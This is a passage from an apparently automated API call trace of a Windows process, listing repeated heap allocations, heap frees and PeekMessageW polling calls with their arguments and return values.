lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.012] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.013] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0134.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0134.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.013] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.014] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0134.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0134.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.014] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0134.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0134.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0134.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0134.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9ee0 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.016] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0134.016] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0134.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0134.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0134.016] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0134.017] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0134.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0134.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0134.017] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0134.018] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.018] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.019] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d50 [0134.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0134.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0134.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0134.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0134.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0134.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d50 | out: hHeap=0xe80000) returned 1 [0134.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0134.021] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.021] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0134.021] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0134.022] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0134.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0134.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0134.022] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0134.022] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.023] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0134.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0134.024] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0134.024] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0134.025] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0134.025] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0134.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0134.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.026] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0134.026] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0134.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.028] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf468 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf628 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4b8 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0134.029] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.030] HeapFree (in: hHeap=0xe80000, 